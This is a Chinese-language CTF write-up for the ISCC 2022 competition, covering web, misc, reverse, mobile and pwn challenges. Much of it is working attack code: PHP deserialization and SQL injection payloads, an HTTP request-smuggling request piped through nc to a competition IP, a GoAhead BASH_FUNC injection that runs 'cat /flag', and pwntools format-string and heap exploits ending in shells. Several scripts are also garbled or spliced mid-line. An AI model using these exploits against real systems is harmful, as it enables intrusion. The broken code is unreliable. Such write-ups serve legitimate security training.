解题步骤及过程：

练武题WP：

Web:

冬奥会：

解题步骤及过程：

练武题WP：

Web:

冬奥会：

点进后发现php代码，数组绕过即可。

Payload：

?Information={"year":"x","items":[0,[],0]}

爱国敬业好青年-2：

手动扫了一下，发先有一个/change目录，显示了一个Open，肯定是有用的。

既然是爱国敬业好青年，我先尝试了北京的经纬度，又尝试了北京天安门的经纬度。

现在要想一下如何提交，肯定不是初始页面，存在挟持。

发现存在/flag目录，于是尝试提交，但很多次都没成功，必须先访问change，回显Open后在提交。

说实话，脑洞有亿些大。

Pop2022：

反序列化，找到了原题，直接写。

Exp：

<?php

class Road_is_Long{

    public $page;

    public $string;

    public function __construct($file='index.php'){

        $this->page = $file;

    }

    public function __toString(){

        return $this->string->page;

    }



    public function __wakeup(){

        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i",$this->page)) {

            echo "You can Not Enter 2022";

            $this->page = "index.php";

        }

    }

}



class Try_Work_Hard{

    protected $var = 'flag.php';

    public function append($value){

        include($value);

    }

    public function __invoke(){

        $this->append($this->var);

    }

}



class Make_a_Change{

    public $effort;



    public function __get($key){

        $function = $this->effort;

        return $function();

    }

}



$mac = new Make_a_Change();

$mac->effort = new Try_Work_Hard();



$ril1 = new Road_is_Long();

$ril1->string = $mac;



$ril2 = new Road_is_Long();

$ril2->page = $ril1;



echo urlencode(serialize($ril2));

paylod:
wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

这是一道代码审计题：

打开后访问/index显示404，查看cookie后发现存在login，试了一下login=1，或者删除也行。

然后加上后缀?url=127.0.0.1,发现存在./static/code.txt文件。

打开后发现base100加密后的代码。

得到代码：

def geneSign():

    if(control_key==1):

        return render_template("index.html")

    else:

        return "You have not access to this page!"



def check_ssrf(url):

    hostname = urlparse(url).hostname

    try:

        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+',url):

            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+',url):

                raise BaseException("url format error")

        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+',url):

            if judge_ip(hostname):

                return True

            return False,"You not get the right clue!"

        else:

            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]

            if is_inner_ipaddress(ip_address):

                return False,"inner ip address attack"

            else:

                return False,"You not get the right clue!"

    except BaseException as e:

        return False,str(e)

    except:

        return False,"unknow error"



def ip2long(ip_addr):

    return struct.unpack("!L",socket.inet_aton(ip_addr))[0]



def is_inner_ipaddress(ip):

    ip = ip2long(ip)

    print(ip)

    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24



def waf1(ip):

    forbidden_list = [ '.','0','1','2','7']

    for word in forbidden_list:

        if ip and word:

            if word in ip.lower():

                return True

    return False



def judge_ip(ip):

    if(waf1(ip)):

        return Fasle

    else:

        addr = addr.encode(encoding = "utf-8")

        ipp = base64.encodestring(addr)

        ipp = ipp.strip().lower().decode()

        if(ip==ipp):

            global control_key

            control_key = 1

            return True

        else:

            return False

发现存在sstf，构造url= http://@MTI3LjAuMC4x。

然后利用这个cookie和路径。

试了许多，到最后xxe成功了。

Easy-SQL：

找到了一道类似的题。

网址：

[2020网络安全管理职业技能竞赛全国选拔赛]ezsqli_末初的博客-CSDN博客

先尝试了几下：

想办法得到emali，select被过滤，利用table找email。

尝试了一会发现ypHeMPardErE.zip，直接访问即可得到。

发现zip里边有一个index.php代码文件，查看代码，发现和网址中的代码一样。

payload：

POST：username=1'/**/union/**/select/**/1,0x61646d696e,3%23&passwd=3

Findme：

进入网站，f12查看存在unser.php文件，直接访问。

存在反序列化漏洞，利用php原生类，遍历目录。

EXP：

<?php

class a{

    public $un0='DirectoryIterator';

    public $un1='glob://f*';

    public $un2;

    public $un3='unserialize';

    public $un4;

  

}

$a = new a();

echo serialize($a);

然后传入即可。

发现存在flllHL91244ggg-SecR1et.txt文件。访问即可得到flag。

让我康康!：

多次尝试漏洞类型，发现了flag在/fl4g中。

发现了后端服务器类型为gunicorn/20.0.0，网上搜索相关漏洞，发现存在其存在服务器差异，可以利用服务器的差异来运用高级漏洞http走私，还顺便看了一些文章。

payload

GET / HTTP/1.1\r\n

Host: 127.0.0.1\r\n

\r\n

Content-Length: 67\r\n

Sec-Websocket-Key1: x\r\n

\r\n

xxxxxxxxGET /fl4g HTTP/1.1\r\n

Host: localhost\r\n

Content-Length: 35\r\n

\r\n

GET / HTTP/1.1\r\n

Host: 127.0.0.1\r\n

\r\n

然后回显只有本地人才能的获得flag，加一个secr3t_ip: 127.0.0.1即可。

可以用nc直接得到flag。

echo -en "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

Flag为ISCC{Let9_M1_sE1_s0m1ThInG_gO0dhhh}

misc：

2022冬奥会：

打开发现flag文件有密码，然后一张图片。

猜测密码为灯笼。

利用记事本打开即可。

单板小将苏翊鸣：

Zip文件，放到010Editor中，修改一下信息

得到：

扫描二维码然后解密，得到解压密码：15942

然后输入即可得到flag。

隐秘的信息：

现在附件后会发现有加密，题目给的有一穿加密字符，base64试一下。

当作密码尝试一下，成功进入，发现一张图片，用stegsolve打开，查看lsb通道。

发现啥都没有，尝试了好多方法，都不行，感觉就应该是lsb通道。

发现前几行有点特别，放进hex转码一下。

刚开始乱码，然后一个一个删，尝试。

得到flag。

藏在星空中的诗1：

按照五角星的画法明显顺序是13524.

将Poem里的东西排列一下即是密码，然后对比。

即可得到flag。

藏在星空中的诗2：

打开就一个txt文件，其他啥都没有猜测文件即使flag。

开头肯定是ISCC，发现六个为一组，而且前两个一样。

和Escape/unEscape编码类似，本来想直接猜测对应字母，发现少了许多，想起来第一题中有一个xls文件可以对应，因为知道了开头的ISCC{和结尾的}，为了省事直接从括号里边开始。

对应出解码一下便是flag

降维打击：

得到图片后先用binwalk看一下。

命令：binwalk 图片（图片要放在binwalk下）

然后分离。

命令：dd if=1.png of=3.jpg skip=290500 bs=1

之后会发现binwalk中多出一个3.jpg。

然后将3.jpg放入esteg中。

先用：zsteg -a 3.jpg

再用：zsteg -e b1,r,lsb,yx 3.jpg -> 1.jpg

然后得到图片

和图片比对

得到flag。

真相只有一个：

打开得到三个文件，猜测flag在flag.txt中，但被隐藏起来，发现stream中存在压缩文件.

利用010Editor来改变hex头;

另存为1.zip，得到压缩文件，发现有密码，密码应该在图片中。

利用StegSolve文件查看通道，发现密码：

虽然不对，但是应该没有问题，估计是后边还有，爆破得到密码：19981111；

得到流量文件。

导出mp3文件。

发现摩斯电码：../.../-.-./-.-./--/../.../-.-.

解密得：

利用SNOW.EXE得到flag：

Re：

GetTheTable：

文件用ida打开。

找到main函数，反编译。

题目给的提示，找到正确的解密方式。

利用工具试一下。

Base58解码得到flag。

Amy's Code:

打开文件，用ida32打开，先shift+f12。

双击进入correct中

进入main中。

跟进，f5反编译，然后进入sub_411433

在进入sub_412550。

Python脚本解密得到flag：

a=[149,169,137,134,212,188,177,184,197,192,179,153,190,126,108,159,191,184]
b='LWHFUENGDJGEFHYDHIGJ'
flag=''
str=''
for i in range(len(b)):
    str = str + chr(a[i]-ord(b[i]))
for j in range(len(a)):
    flag = flag + chr(ord(str[j])^j)
print(flag)

How_decode：

文件用ida打开，搜索main函数反编译，发现数据。

Exp：

#include <iostream>

using namespace std;



int main(int argc,char *argv[])

{

    string Flag = "ISCC{012345678901}";

    int key[4] ={'I','S','C','C'};//格式

    int x = 18;//十八个变量数组

    int flagI[18];

    printf("请输入ida中的18个变量:");//用空格隔开

    for(int i=0;i<18;i++) //输入ida中的变量。

    {

           scanf("%d",&flagI[i]);

       }

    int z = 52/x + 6;

    int basic1 = z * -0x61C88647;

   

    int y = flagI[0];

for (; z--;)

 {

        int basic2 = (basic1 >> 2) & 3;

       

        for (int a=x-1; a>=0; a--) {

            int b = flagI[(a + x - 1)%x];

            flagI[a] -= ((y ^ basic1) + (b ^ key[basic2 ^ (a & 3)])) ^ (((4 * y) ^ (b >> 5)) + ((y >> 3) ^ (16 * b)));

            y = flagI[a];

        }

       

        basic1 = 156 + 0x61C88647;

    }

    printf("flag如下：");

    for (int j=0;j<x;j++)

        cout << (char)flagI[j];

    cout << endl;

    return 0;

}

将变量输入即可得到flag。

Sad Code

搜索找到main函数，f5反编译。

找到解题关键。

先放入脚本一：

from z3 import *
s = Solver()
a=[Int('a[%d]'%i) for i in range(7)]
b=Int('b')

//以下都是ida中的值
s.add(a[1] + 7 * a[0] - 4 * b - 2 * a[2] == 0x1FEE9B3DB)
s.add(5 * a[2] + 3 * a[1] - a[0] - 2 * b == 0x12EF33D88)
s.add(2 * a[0] + 8 * a[2] + 10 * b - 5 * a[1] == 0x47293F299)
s.add(7 * b + 15 * a[0] - 3 * a[2] - 2 * a[1] == 0x7D3D1DA46)
s.add(15 * a[3] + 35 * a[6] - a[4] - a[5] == 0x10359D2A4C)
s.add(38 * a[5] + a[3] + a[6] - 24 * a[4] == 0x330898232)
s.add(38 * a[4] + 32 * a[3] - a[5] - a[6] == 0x1650EEAB9D)
s.add(a[3] + 41 * a[5] - a[4] - 25 * a[6] == 0x2B9ED1A3E)
if s.check():
    print(s.model())

得到的值再放入脚本二：

from Crypto.Util.number import long_to_bytes
a=[0]*7
a[2] = 1143816531
a[4] = 1414999372
b = 1230193475
a[6] = 1464291709
a[3] = 1397509185
a[1] = 1297629761
a[5] = 1178879054
a[0] = 2068924756
FLAG=long_to_bytes(b)
for i in a:
    FLAG+=long_to_bytes(i)
print(FLAG)

即可得到flag。

VigenereLike：

将文件放入ida中打开，进入main函数查看。

发现存在加密信息，写脚本解密即可。

Exp：

def fjl(x,y):#比大小
    if x > y: return 0
    else: return -1
def fjl2(sum):
    a=sum&1
    return a==0
def fjl3():
    print("得到flag：")

x = [0xe4,0x3d,0x80,0x24,0xc7,0x0d,0xa3,0xba,     0x00,0x05,0x8c,0x64,0x97,0x4e,0x0a,     0x3e,0x4b,0x51,0x07,0x8f,0x79,0x60,0x5b,0x9b]#脚本1解码后的16进制数

y = [ 0x9A,0x78,0xB6,0x12,0xBE,0x66,0x8D,0xCF,0x9E,    0x63,0xCB,0x4A,0xD1,0x1A,0x59,0x1C,0x17,0x73,    0xF2,0x1D,0x2F,0xF0,0xD7,0xB3,0x22,0x5D,0xAD,    0x0B,0xE2]
k = [0x32,0x63,0x65,0x61,0x39,0x30,     0x34,0x36,0x33,0x62,0x34,0x32,0x38,     0x63,0x64]
kk = []
z = ''
print("调试:\n")
for i in range(len(x)):
    kk.append(x[i]^y[i])
for i in range(len(kk)):
    for j in range(128):
        if (fjl((k[i]+0xd0)&0xff,0xa) + j +2)&0xff == kk[i]:
            z = z + chr(j)
            print(z)
            break
flag=list(z[::-1])
for j in range(len(flag)):
    if ord('a') <= ord(flag[j]) <= ord('z'):
        flag[j] = chr(ord(flag[j])^0x20)
    elif ord('A') <= ord(flag[j]) <= ord('Z'):
        flag[j] = chr(ord(flag[j])^0x20)
    elif ord('0') <= ord(flag[j]) <= ord('9'):
        a = ord(flag[j]) + 1
        b = ord(flag[j]) - 1
        if fjl2(ord(flag[j])):
            flag[j] = chr(a)
        else:
            flag[j] = chr(b)
    else:
            pass
print("最终flag如下：")
for i in range(len(flag)):
    print(flag[i],end='')#输出flag

Bob's Code：

Ida32打开文件，搜索main函数，在main_0中找到了str1和str2，比较一下。

查看str1的处理。

还需要对base换表，然后用exp跑出脚本。

import base64
#HN-fjl
def printinfo():
    print('--'*30)
    print('flag如下:')


x=list\
    ('.W1BqthGbfihKthkzV1tYc.hl5oY5qcbJ3XhXQXXlRoWBWdhRTXORpf1RwoF0.')
y=len(x)
for j in range(y):
 if 'a'<=x[j]<='z':
     x[j] = chr(((ord(x[j])-97-2)%26)+97)
 elif 'A'<=x[j]<='Z':
     x[j] = chr(((ord(x[j])-65-2)%26)+65)
printinfo()
y=''.join(x)+'=='
print(base64.b64decode(base64.b64decode(y.translate(str.maketrans(str1,str2)))))

Ruststr：

用ida64打开iscc_reverse文件，然后查看main函数，发现。

像是base解密，尝试一下，发现只有base64解开然后是乱码。

之后尝试一下hex头解码。

利用脚本1：

import base64
# base64解码
def base64_decode(base64_data):
   temp = base64.b64decode(base64_data).hex()
   return temp

data = "5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=="
tem = base64_decode(data)
print(tem)

#结果：e43d8024c70da3ba00c7058c64974e0a3e4b51078f79605b9b

得到16进制数。

再利用脚本2：

def fjl(x,0xa) + j +2)&0xff == kk[i]:
            z = z + chr(j)
            print(z)
            break
flag=list(z[::-1])
for j in range(len(flag)):
    if ord('a') <= ord(flag[j]) <= ord('z'):
        flag[j] = chr(ord(flag[j])^0x20)
    elif ord('A') <= ord(flag[j]) <= ord('Z'):
        flag[j] = chr(ord(flag[j])^0x20)
    elif ord('0') <= ord(flag[j]) <= ord('9'):
        a = ord(flag[j]) + 1
        b = ord(flag[j]) - 1
        if fjl2(ord(flag[j])):
            flag[j] = chr(a)
        else:
            flag[j] = chr(b)
    else:
            pass
print("最终flag如下：")
for i in range(len(flag)):
    print(flag[i],end='')#输出flag

最终得到flag。

Mobile：

Mobile A:

利用jadxgui打开后发现flag被分为两部分，一部分为AES加密，一部分为md5；

AES中的密钥为K@e2022%%y的base64加密。

偏移为：I&V2022***的base64加密。

内容为STk0OU11bnZiWCtvZGtpSUswK3Q2aHZxd2x2bTlIYkRjTFV4OWhZdEowbz0=的base64解密值。

得到第一部分flag：

然后是第二部分flag；

利用脚本获得：

先将eauals中的值放入a中

a=' '#需要放入其中的值
b=\
    [20,19,12,11,4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]
for j in b:
    print(a[j],end='')

然后用上一个脚本中的值的放入下边的a中

import base64
def base64_decode(base64_x):
    y=base64.b64decode(base64_x).hex()
    return y
a = ""#上一个脚本的运行结果
flag=base64_decode(a)

print(flag)#最后还需要md5解码。

运行然后将得到的值md5解密即可；

得到第二部分为no；

连起来即可得到flag。

MoblieB:

先利用jadxgui打开得到apk文件，得到加密的一串数字。

然后改后缀解压得到一些文件。

一个一个放入ida中，发现在so文件后一直有：

十二串字符，调试几次偏移，得到flag。

利用脚本：

def phpinfo():
    print('flag如下:')
x="5240520105205230123054040513013050130"[:-1]#查看apk得到的值
#下边是解压后ida中的值。
y="MTURVPYCJGZOQNKASEWFIXBHLD"
y=y+y
z="CKTUVBXSAFJDGHIMNYZOPQRWEL"
z=z+z
m="WXOPZGNVYDEFIJCBKARLUQHMST"
m=m+m
i="FBSNOPMACKDRQITUVWHZLJXYGE"
i=i+i
n="OMEJCXYFZBQRAPGSDTINKLUHVW"
n=n+n
q="XASQGMTFIRBVHEJUOCDYZPKLNW"
q=q+q
g="EHWUVRYOPQSIBXJACTZGMNDFLK"
g=g+g
p="VWNIKAXMOGHLZBRDQJEUYFPCST"
p=p+p
a="FDXYUKOPJMBCZLIGNVWSTEHAQR"
a=a+a
f="NSKBRTUZEJOPGHIFXCDAVWQYLM"
f=f+f
b="CLYMVHXASTKNWIUOPZJDBQGREF"
b=b+b
l="AYTNCBDRSQLZWXOPKJGEHIMFUV"
l=l+l
bian=[5,51,52,512,53,513,523,123,5123,54,514,24,524,124,5124,34,534,5134,234,5234,1234,51234]
x=list(map(int,x.split("0")))
o="ABCDEFGHIJKLMNOPQRSTUVWXYZ"#列出
t=[]
for r in x:
      t.append(o[bian.index(r)])
s=[y,z,m,i,n,q,g,p,a,f,b,l]
phpinfo()
for r in range(12):
      print(s[r][s[r].index(t[r],26)-9],end='')#结果加上ISCC{}即可。

得到flag。

Flag为ISCC{结果}。

PWN：

create_id

check一下发现是32程序。

所以将文件放在ida32中打开，查看main函数。

发现存在格式化字符串漏洞，让x==9，进入flag（）函数，可以直接cat到flag，所以利用漏洞将x的值修改为9。

Exp：

from pwn import *
def tishi():
     print("flag在后边：")
a = remote('123.57.69.203',5310)
x = int(a.recvuntil('\n')[:-1],16)
a.sendline('6')
a.sendline('7')
a.sendline('8')#使x的值为9,即可得到flag。
a.sendlineafter("What's your name?\n",b"%9c%12$n"+p32(x))
Flag = a.recvuntil("}")
tishi()
print(Flag)

sim_treasure：

ida打开查看发现为循环格式化字符串漏洞。

测定偏移量为6，然后打印libc_start_main的地址，计算基地址偏移量，将system写到code段，code地址距离main长度为3。

from pwn import *
context(arch='i386')
def tiqu():
    print("利用ls和cat发现并得到flag")
x = remote('123.57.69.203',7010)
tiqu()
a = ELF("sim_treasure")#将文件名字改为sim_treasure
b = ELF("libc-2.27.so")
offset = 6 #偏移量
x.recvuntil("Can you find the magic word?\n")
x.sendline('%35$p')
b_base = int(x.recvuntil(b'\n')[:-1],16)-b.symbols['__libc_start_main']-241
system = b_base+b.symbols['system']#利用system命令来得到flag。
sh = b_base+0x17E3CF
success(hex(b_base))

x.sendline('%3$p')
code_addr = int(x.recvuntil(b'\n')[:-1],16)-0x16CA
success(hex(code_addr))
x.sendline('%2$p')
eip_addr = int(x.recvuntil(b'\n')[:-1],16)+4

Payload = fmtstr_payload(offset,{code_addr+0x2A60:system})
x.sendline(Payload)
x.send(b'/bin/sh\x00')
sleep(0.3)

x.interactive()

然后ls一下发现flag.txt文件，继续cat即可。

untidy_note：

将文件放入ida中，经查看发现存在UAF和堆溢出漏洞，写入eval和system得到flag。

from pwn import *
context(arch='amd64')

fp1 = 'untidy_note'
r = remote('123.57.69.203',7030)
print("利用ls和cat得到flag")
fp2 = ELF(fp1)#获取文件信息
fp3 = ELF('libc-2.27.so')#获取文件信息
def Edit(index,payload):
    r.sendlineafter("Your choose is:\n",'3')
    r.sendlineafter("index:\n",str(index))
    r.sendlineafter("the size is:\n",str(len(payload)))
    r.sendafter("Content:\n",payload)

def Free(index):
    r.sendlineafter("Your choose is:\n",'2')
    r.sendlineafter("index:\n\n",str(index))

def Show(index):
    r.sendlineafter("Your choose is:\n",'4')
    r.sendlineafter("index:\n",str(index))

def Allocate(size=0x18):
    r.sendlineafter("Your choose is:\n",'1')
    r.sendlineafter("the note size is:\n",str(size))

r.sendlineafter("Welcome to use untidy_note,Your name is:"
                "",'HN-fjl')
for i in range(26):
    Allocate(0x1f)
Allocate(0x8)
for j in range(26):
    Free(j)
Edit(26,b'a'*0x18+p32(0x11))
Allocate()
Allocate()
Show(1)
fp3_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-998-10-fp3.symbols['__malloc_hook']
free_hook = fp3_base+fp3.symbols['__free_hook']
system = fp3_base+fp3.symbols['system']
success("system -> "+hex(system))
success("fp3_base -> "+hex(fp3_base))

Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)

Free(4)
Free(5)
Free(6)
Edit(6,p64(free_hook))
Allocate(0x1f)
Allocate(0x1f)
Edit(8,p64(system))

Allocate(0x18)
Edit(9,b'/bin/sh\x00')
Free(9)

r.interactive()

然后ls一下，发现flag.txt，继续cat flag.txt即可。

跳一跳：

Ida打开文件，查看后发现check不到啥，尝试了好久，最后发现为泄露Canary和栈迁移漏洞。

Exp：

from pwn import *

def fjl():
    printf("----------------------------------")
    printf("flag如下：")

context.log_level='debug'

ip = remote('123.57.69.203',7020)#题目给的地址
fp1 = ELF('pwn')#题目给的文件

fp2=ELF('fp2-2.27.so')

ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))
for i in range(216):
    ip.sendline(str(0x61))
ip.send('b')
ip.recvuntil('a'*217)
canary=u64(ip.recv(7).rjust(8,'\x00'))
rbp=u64(ip.recv(6).ljust(8,'\x00'))
log.info(hex(canary))
log.info(hex(rbp))
payload='a'*216+p64(canary)+p64(0)+p8(0x98)
ip.send(payload)

ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))
for i in range(87):
    ip.sendline(str(0x61))
ip.send('b')
ip.recvuntil('a'*88)
x=u64(ip.recv(6).ljust(8,'\x00'))
log.info(hex(x))
fp2_base = x-fp2.symbols['_ip_2_1_stderr_']y
y= fp2_base+0x4f2c5
payload = 'a'*216+p64(canary)+p64(0)+p64(y)
fjl()
ip.send(payload)

ip.interactive()

擂台题WP：

MISC：

666:

打开后发现一个图片和一个flag的压缩包，不用想压缩包密码一定在图片里，尝试用Stegsolve打开文件查看，发现存在加密，尝试密码爆破，密码为123456，但还是什么都没有，想到可能是高度被改，于是改变了高度，的到密码!@#$%678()_+。

到这里就卡了好长时间，因为分析不出flag，最后在追踪tpc流时发现了一个网址，尝试访问试一下。

网址为：666 - Kong-lingdi - 博客园

发现图片666。

分析一下得到两个加密。

图片中有三段加密。

第一个：SE1ERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

第二个：pQLKpP/

第三个：EPmw301eZRzuYvQ==

第一个base64解密得到ISCC，然后以ISCC为秘钥再aes解密第二第三个得到flag。

Web：

Melody:

发现可以登录，随便登陆进去，找了一会什么都没有，就只有一个session构造。

但没有key。

搜目录后有一个info回显。

在网上看到过可以用?name={{config}}来得到key，这一题有一个Melody，也相当于题的name。

所以用?Melody={{config}}来得到，config是配置文件，一般用来设置秘钥，设置数据库地址等；

得到key：meldoy-is-so-cute-wawawa!

利用脚本来伪造session

传进session。

发现代码

# -*- coding:utf-8 -*-

import pickle

import melody

import base64

from flask import Flask,Response,request



class register:

    def __init__(self,name,password):

        self.name = name

        self.password = password



    def __eq__(self,other):

        return type(other) is register and self.name == other.name and self.password == other.password





class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self,module,name):

        if module[0:8] == '__main__':

            return getattr(sys.modules['__main__'],name)

        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module,name))



def find(s):

    return RestrictedUnpickler(io.BytesIO(s)).load()



@app.route('/therealflag',methods=['GET','POST'])

def realflag():

    if request.method == 'POST':

        try:

            data = request.form.get('melody')

            if b'R' in base64.b64decode(data):

                return 'no reduce'

            else:

                result = find(base64.b64decode(data))

                if type(result) is not register:

                    return 'The type is not correct!'

            correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))

            if correct:

                if session['username'] == 'admin':

                    return Response(read('./flag.txt'))

                else:

                    return Response("You're not admin!")

        except Exception as e:

            return Response(str(e))



    test = register('admin','123456')

    data = base64.b64encode(pickle.dumps(test)).decode()

    return Response(data)

主要查看@后边的，一种picke反序列化，没接触过。

网上找了个脚本，稍微修改了一下：

import base64
data=b'''c__main__
melody
(S'name'
S"melody"
S"hug"
S"1"
db0(c__main__
register
S"melody"
S"hug"
o.
'''
print(base64.b64encode(data))

因为是POST传参，所以直接传入

melody=Y19fbWFpbl9fCm1lbG9keQooUyduYW1lJwpTIm1lbG9keSIKUyJodWciClMiMSIKZGIwKGNfX21haW5fXwpyZWdpc3RlcgpTIm1lbG9keSIKUyJodWciCg==

得到flag，交flag时把flag去掉变为ISCC{}格式，ISCC{2022_melody_secrets}。

Ping2rce：

通过分析http响应头看到了GoAhead，想到了命令执行漏洞。

考点是GoAhead环境变量注入。

CVE-2021-42342 GoAhead 远程命令执行漏洞。

但跟题目不太相似，题目需要用到ping命令，想到了p神在跳跳糖中发布过的劫持ping执行过程中环境变量注入。

看了p神的分析，不一样的是p神覆盖的是echo函数，我们只需覆盖ping即可，需要知道的是：不能传入-p参数，不能传入-n参数BASH_DUNC_相当于前十个字符，后两个字符相当于%%，满足if语句后去除前缀后会是一个变量名，以（）开头的字符串将会被执行。

然后利用bp，POST传入BASH_FUNC_ping%%,内容为：() { cat /flag: }

POST /cgi-bin/ping?ip=127.0.0.1 HTTP/1.1

Host: 59.110.169.206:8010

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/86.0.4240.198 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.9,application/signed-exchange;v=b3;q=0.8

Accept-Encoding: gzip,deflate

Accept-Language: zh-CN,zh;q=0.8

Content-Type: multipart/form-data:

Boundary=-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp

Connection: close



-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp

Content-Disposition: form-data; name="BASH_FUNC_ping%%";

() { cat /flag; }

-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp

得到flag为ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}

PWN：

Ezuaf：

链接得到文件，将libc-2.27.so放进ida中分析，发现漏洞编写脚本。

from pwn import *

def bianji(page,context):
 x.recvuntil(":")
 x.sendline("2")
 x.recvuntil("Input page\n")
 x.sendline(str(page))
 x.recvuntil("Input your massage:")
 x.sendline(context)

def chuangjian(size):
 x.recvuntil(":")
 x.sendline("1")
 x.recvuntil("Input size:")
 x.sendline(str(size))

def show(page):
 x.recvuntil(":")
 x.sendline("4")
 x.recvuntil("Input page\n")
 x.sendline(str(page))

def shanchu(page):
 x.recvuntil(":")
 x.sendline("3")
 x.recvuntil("Input page\n")
 x.sendline(str(page))

fp=ELF("Ezuaf")#同一目录下的本题的libc-2.27.so文件，我用题目名字命名。
x=remote("123.57.69.203",8020)#连接上网址
chuangjian(0x410)
chuangjian(0x20)
shanchu(0)
show(0)
fp_addr=u64(x.recvuntil('\x7f').ljust(8,b'\x00'))-0x3EBCA0
print ('fp_addr',hex(fp_addr))
one_gadget=fp_addr+0x4f432
print ('one_gadget',hex(one_gadget))
free_hook = fp_addr + fp.symbols['__free_hook']
print ('free_hook',hex(free_hook))
chuangjian(0x20)
shanchu(2)
bianji(2,p64(free_hook))
chuangjian(0x20)
chuangjian(0x20)
bianji(4,p64(one_gadget))
shanchu(1)

x.interactive()

最后ls和cat flag.txt得到flag。

RE：

Encode：

Mian函数分析：

对加密的逻辑分析一下：首先对data进行了xor处理，

然后获取密钥，然后是模运算。

写脚本解密即可：

Exp：

def fjl2(a,x,y):
    sun = 0
    if b:
        sun = fjl2(b,a % b,y,x)
        y -= a / b * x
    else:
        x = 1
        y = 0
        return a
    return sum

def fjl1(z,fjl):
    y,d = 0,0
    d = fjl2(z,fjl,y)
    if d == 1:
        return (x % fjl + fjl) % fjl
    else:
        return -1
#主代码。
Flag = ''

test = [0x23,0x7,0x2B,0x6,0x3F,0x5,0x2,0x21,0x4B,0x2D,0x2]
k = [0] * 10
k[0],k[1],k[2] = [0x7,0xb,0xd]
k[3] = k[1] * k[0]
k[4] = (k[1] - 1) * (k[0] - 1)
k[5] = fjl1(k[2],k[4])
shuju = [0] * 24
for i in range(24):
    for j in range(1,1000):
        if test[i] == pow(j,k[2],k[3]):
            shuju[i] = j
            break
for j in range(len(shuju)):
    shuju[j] += 70
    shuju[j] ^= 0x3f
len1= len(shuju)
for i in range((len(shuju)%2 + len(shuju))//2,-1,-1):
    shuju[len1 - i - 1] ^= shuju[i]
    shuju[i] ^= shuju[len1-i-1]
    shuju[len1 - i - 1] ^= shuju[i]
for i in range(len1):
    Flag += chr(shuju[i] ^ 0xf)
print(Flag)

flag为ISCC{PWN_ISR_EALLY_HARD}

ISCC 2022 wp

解题步骤及过程：

练武题WP：

Web:

冬奥会：

爱国敬业好青年-2：

Pop2022：

这是一道代码审计题：

Easy-SQL：

Findme：

让我康康!：

misc：

2022冬奥会：

单板小将苏翊鸣：

隐秘的信息：

藏在星空中的诗1：

藏在星空中的诗2：

降维打击：

真相只有一个：

Re：

GetTheTable：

Amy's Code:

How_decode：

Sad Code

VigenereLike：

Bob's Code：

Ruststr：

Mobile：

Mobile A:

MoblieB:

PWN：

create_id

sim_treasure：

untidy_note：

跳一跳：

擂台题WP：

MISC：

666:

Web：

Melody:

Ping2rce：

PWN：

Ezuaf：

RE：

Encode：

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